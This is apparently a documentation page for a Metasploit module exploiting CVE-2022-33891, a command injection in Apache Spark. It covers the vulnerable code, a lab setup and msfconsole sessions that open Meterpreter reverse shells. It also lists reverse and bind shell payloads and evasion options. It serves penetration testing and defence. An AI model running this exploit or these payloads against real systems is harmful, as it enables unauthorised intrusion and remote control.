Apache Spark Unauthenticated Command Injection RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/apache_spark_rce_cve_2022_33891 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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- Module Overview
- Knowledge Base
- Vulnerable Application
- Verification Steps
- Options
- Scenarios
- Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit with spark.acls.enable set to true
- Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit WITHOUT the spark.acls.enable option
- Limitations
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Apache Spark Unauthenticated Command Injection RCE
Module: exploit/linux/http/apache_spark_rce_cve_2022_33891
Source code: modules/exploits/linux/http/apache_spark_rce_cve_2022_33891.rb
Disclosure date: 2022-07-18
Last modification time: 2022-09-07 12:45:13 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-33891
This module exploits an unauthenticated command injection vulnerability in Apache Spark. Successful exploitation results in remote code execution under the context of the Spark application user. The command injection occurs because Spark checks the group membership of the user passed in the ?doAs parameter by using a raw Linux command. It is triggered by a non-default setting called spark.acls.enable. This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack. Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use exploit/linux/http/apache_spark_rce_cve_2022_33891
msf exploit(apache_spark_rce_cve_2022_33891) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
This module exploits a remote code execution vulnerability (CVE-2022-33891) of Apache Spark.
The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable.
With an authentication filter, this checks whether a user has access permissions to view or modify the application.
The permission check is coded using a bash command shell and the unix id command that allows a malicious shell command injection.
Ironically the spark.acls.enable configuration setting is designed to improve the security access within the Spark application,
but unfortunately this configuration setting triggers the vulnerable code below.
private def getUnixGroups(username: String): Set[String] = {
val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
// we need to get rid of the trailing "\n" from the result of command execution
Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
Utils.executeAndGetOutput(idPath :: "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
}
}
This will result in arbitrary shell command execution as the user Spark.
This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1
Installing a vulnerable version of Apache Spark to test this vulnerability is quite easy.
To set the server up use the following docker-compose.yml file and follow the steps below:
version: '2'
services:
spark:
image: docker.io/bitnami/spark:3.1.1
environment:
- SPARK_MODE=master
- SPARK_RPC_AUTHENTICATION_ENABLED=no
- SPARK_RPC_ENCRYPTION_ENABLED=no
- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
- SPARK_SSL_ENABLED=no
ports:
- '8080:8080'
- Create the docker-compose.yml in your preferred directory and run
docker-compose up. Let the container spin up. - In a new terminal, enter
sudo docker exec -it spark_spark_1 /bin/bash - In the container bash session, enter:
echo "spark.acls.enable true" >> conf/spark-defaults.conf - cat the contents of spark-defaults.conf to make sure it looks good.
- Exit the interactive bash shell and Ctrl-C your docker-compose process.
- Once the containers have powered down gracefully, rerun
docker-compose up
Once the server and application is up, it's vulnerable and you can access it on port 8080 for testing...
Verification Steps
use exploit/linux/http/apache_spark_rce_cve_2022_33891set RHOSTS <TARGET HOSTS>set LHOST <Address of Attacking Machine>exploit- You should get a shell or meterpreter as the
sparkuser.
Options
No specific options to be set.
Scenarios
Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit with spark.acls.enable set to true
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.100.43 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable instance
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[*] Perform sleep test of 10 seconds...
[+] The target is vulnerable. Sleep was around 10 seconds [10.033867019]!
[*] Exploiting...
[*] Sending stage (40164 bytes) to 192.168.100.43
[-] Meterpreter session 3 is not valid and will be closed
[*] 192.168.100.43 - Meterpreter session 3 closed.
[*] Sending stage (40168 bytes) to 192.168.100.43
[*] Meterpreter session 4 opened (192.168.100.7:4444 -> 192.168.100.43:62618) at 2022-08-26 10:49:46 +0000
meterpreter > sysinfo
Computer : 7a26a9fb7ce3
OS : Linux 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022
Architecture : x64
Meterpreter : python/linux
meterpreter > getuid
Server username: spark
Apache Spark version 3.1.1 on Linux 5.10.104-linuxkit WITHOUT the spark.acls.enable option
Note: This version is vulnerable, however the spark.acls.enable option is not set, hence the vulnerable code will not be triggered.
Response on POST payload request will be 200 instead of 403.
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.100.43 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI of the vulnerable instance
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.100.7 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(inux/http/apache_spark_rce_cve_2022_33891) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The 192.168.100.43:8080 did not respond a 403 response. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) >
Limitations
The check to determine if the application is vulnerable is based on a 403 response and the execution of a randomized sleep command.
The exploit is a blind command injection, so there is nothing reflected back on the page during the command execution.
Timing the sleep command execution is therefore a pretty safe bet to check if the command injection is successful.
Credits goes to HuskyHacks that used this test in his POC on GitHub.
Go back to menu.
Msfconsole Usage
Here is how the linux/http/apache_spark_rce_cve_2022_33891 exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > show info
Name: Apache Spark Unauthenticated Command Injection RCE
Module: exploit/linux/http/apache_spark_rce_cve_2022_33891
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-07-18
Provided by:
Kostya Kortchinsky
h00die-gr3y <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0
to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an unauthenticated command injection
vulnerability in Apache Spark. Successful exploitation results in
remote code execution under the context of the Spark application
user. The command injection occurs because Spark checks the group
membership of the user passed in the ?doAs parameter by using a raw
Linux command. It is triggered by a non-default setting called
spark.acls.enable. This configuration setting spark.acls.enable
should be set true in the Spark configuration to make the
application vulnerable for this attack. Apache Spark versions 3.0.3
and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1
are affected by this vulnerability.
References:
https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891
https://nvd.nist.gov/vuln/detail/CVE-2022-33891
Module Options
This is a complete list of options available in the linux/http/apache_spark_rce_cve_2022_33891 exploit:
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > show options
Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.
0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the vulnerable instance
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL /bin/bash yes The system shell to use.
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
Advanced Options
Here is a complete list of advanced options supported by the linux/http/apache_spark_rce_cve_2022_33891 exploit:
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > show advanced
Module advanced options (exploit/linux/http/apache_spark_rce_cve_2022_33891):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, printf, curl)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CMDSTAGER::URIPATH no Payload URI path for supported stagers
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for
non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are a
uto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1
.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS no The User-Agent header to use for all requests
X 12.2; rv:97.0) Gecko/20100101 Firef
ox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 5 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_python):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy b
ut directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/apache_spark_rce_cve_2022_33891 module can exploit:
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/apache_spark_rce_cve_2022_33891 exploit:
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/apache_spark_rce_cve_2022_33891 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, defl
ate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apac
he)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apa
che)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::shuffle_get_params false no Randomize order of GET parameters
HTTP::shuffle_post_params false no Randomize order of POST parameters
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
A communication error occurred: <E.MESSAGE>
Here is a relevant code snippet related to the "A communication error occurred: <E.MESSAGE>" error message:
96: 'method' => 'POST',
97: 'uri' => normalize_uri(target_uri.path, '/'),
98: 'data' => post_data
99: })
100: rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT => e
101: elog("A communication error occurred: #{e.message}", error: e)
102: end
103:
104: def check
105: print_status("Checking if #{peer} can be exploited!")
106:
Did not receive a response from target.
Here is a relevant code snippet related to the "Did not receive a response from target." error message:
104: def check
105: print_status("Checking if #{peer} can be exploited!")
106:
107: res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}")
108:
109: return CheckCode::Unknown('Did not receive a response from target.') unless res
110:
111: if res.code != 403
112: return CheckCode::Safe('Target did not respond with a 403 response.')
113: end
114:
Target did not respond with a 403 response.
Here is a relevant code snippet related to the "Target did not respond with a 403 response." error message:
107: res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}")
108:
109: return CheckCode::Unknown('Did not receive a response from target.') unless res
110:
111: if res.code != 403
112: return CheckCode::Safe('Target did not respond with a 403 response.')
113: end
114:
115: sleep_time = rand(5..10)
116: print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
117:
Failed to test command injection.
Here is a relevant code snippet related to the "Failed to test command injection." error message:
120: end
121:
122: print_status("Elapsed time: #{elapsed_time} seconds.")
123:
124: unless res && elapsed_time >= sleep_time
125: return CheckCode::Safe('Failed to test command injection.')
126: end
127:
128: CheckCode::Vulnerable('Successfully tested command injection.')
129: end
130:
Successfully tested command injection.
Here is a relevant code snippet related to the "Successfully tested command injection." error message:
123:
124: unless res && elapsed_time >= sleep_time
125: return CheckCode::Safe('Failed to test command injection.')
126: end
127:
128: CheckCode::Vulnerable('Successfully tested command injection.')
129: end
130:
131: def exploit
132: print_status('Exploiting...')
133: case target['Type']
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Related Pull Requests
- #16982 Merged Pull Request: Update Dell iDRAC login scanner to work with v8 and v9
- #17032 Merged Pull Request: Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814
- #17116 Merged Pull Request: Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
- #17092 Merged Pull Request: netlm_downgrade: Cleanup and support non-Meterpreter sessions
- #16987 Merged Pull Request: guard for all possible RubySMBError conditions
- #17123 Merged Pull Request: netrc and fetchmailrc docs
- #17057 Merged Pull Request: Msf::Post::Windows::ExtAPI: Remove load_extapi method
References
- https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
- https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891
- CVE-2022-33891
See Also
Check also the following modules related to this module:
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/smtp/apache_james_exec
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_flink_jobmanager_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_normalize_path
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- exploit/windows/http/php_apache_request_headers_bof
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
Authors
- Kostya Kortchinsky
- h00die-gr3y <h00die.gr3y[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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